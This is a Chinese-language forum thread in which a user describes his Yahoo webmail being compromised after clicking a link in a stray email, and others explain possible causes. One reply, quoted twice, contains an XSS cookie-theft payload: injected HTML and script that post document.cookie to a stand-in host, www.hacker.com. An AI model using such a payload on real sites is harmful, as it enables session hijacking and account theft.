我的信箱被入侵了!!!!

[domainplayer]

我今天用我yahoo的信箱收了一封寄錯email,
內容是某個線上論壇啟動帳號的連結網址...
基於幫助那位打錯email的老兄...我就自行點擊了.... (那時沒去仔細看網址)
結果yahoo mail的網頁跳出一個警告,警告我說我正將自己的資訊傳送出去....
我沒多想就按了確定...
進入那個連結後它卻顯示"有太多人同時在線上,目前網站無法回應"
然後我就關掉視窗沒去管它...

經過了十多小時,
我剛剛再次登入我的yahoo信箱收信,
卻發現email被刪了十多封,連原來那封確認信都不見了(所以無法追查網址..)
而且有些我根本沒閱讀過的信都變已閱讀狀態,
我被入侵是既成事實....
裡面有一堆網址帳戶的密碼........
不知有沒有被盜用了...
但願那位賊人不懂domain name

我實在太不小心啦

我最好奇的一點是....
有可能透過點擊網址而將自己yahoo的密碼傳送出去嗎?
若不行的話...那當時跳出的警告可能是將什麼資料給傳送出去??

[哈啦]

webmail如何把你的資料送出去？不是需要有執行檔嗎？可是在yahoo的信箱中執行不了啊？
你確定真是那封信的關係？

[domainplayer]

作者: 哈啦

webmail如何把你的資料送出去？不是需要有執行檔嗎？可是在yahoo的信箱中執行不了啊？
你確定真是那封信的關係？

我不知道,我點擊了那個認證連結後yahoo email立即跳出一個小的警告視窗,說我正要把資訊傳送出去,我也很納悶... 為何點個連結而已會出現那個警告?

我也不確定是不是那封信,是因為那封信被刪掉了 (連垃圾桶都找不到,其它被刪的信在垃圾桶裡還找得到),所以才做此推測...

[哈啦]

快改網名的相關密碼吧。

[Ricado]

webmail如何把你的資料送出去？不是需要有執行檔嗎？可是在yahoo的信箱中執行不了啊？
你確定真是那封信的關係？

不管是cgi, asp, jsp或是php，很多時候都會以Http Get的方式傳送，也就是網址後面接一串參數，這本身就有風險。

再來則是使用者登入信箱後，帳號密碼已經寫在cookie，只要透過一些技巧就可以將cookie偷走。如果【盡職】一點的工程司會將cookie加密，混一點的就直接名碼儲存。以下是一個常用的技巧

<a href=http://www.domain.club.tw/welcome.asp?name=
    <FORM action=http://www.hacker.com/data.asp method=post id=“idForm”>
      <INPUT name=“cookie” type=“hidden”> 
    </FORM>
    <SCRIPT>
       idForm.cookie.value=document.cookie; 
       idForm.submit();
    </SCRIPT> >
here
</a>

[robowang]

對方是偷你的 cookie
然後你連結進去看到所謂 "有太多人同時在線上,目前網站無法回應"
我猜那大概是假的訊息, 你任何時後連過去, 都是顯示這個訊息
讓你以為沒連結成功, 應該不會發生什麼事,
但其實 .....

[seesawgame]

那會不會是一個釣魚網站?!
亦或是論壇被植入病毒或後門且連站長也不知道(我就遇過這樣的站，站長是個電腦白痴，卻被種東西在她的站)

[domainplayer]

作者: Ricado

不管是cgi, asp, jsp或是php，很多時候都會以Http Get的方式傳送，也就是網址後面接一串參數，這本身就有風險。

再來則是使用者登入信箱後，帳號密碼已經寫在cookie，只要透過一些技巧就可以將cookie偷走。如果【盡職】一點的工程司會將cookie加密，混一點的就直接名碼儲存。以下是一個常用的技巧

<a href=http://www.domain.club.tw/welcome.asp?name=
    <FORM action=http://www.hacker.com/data.asp method=post id=“idForm”>
      <INPUT name=“cookie” type=“hidden”> 
    </FORM>
    <SCRIPT>
       idForm.cookie.value=document.cookie; 
       idForm.submit();
    </SCRIPT> >
here
</a>

感謝Ricado兄詳細解說!
我想應該是這個樣子沒錯...
以後再也不敢隨便亂開來路不明的信了
幸好沒被改密碼...

[dx2]

你可以請服務供應廠商查一下登入你帳號的資料，如果真如你說的，那啞x的信箱可能有風險，你提供給他們，相信他們會很重視的。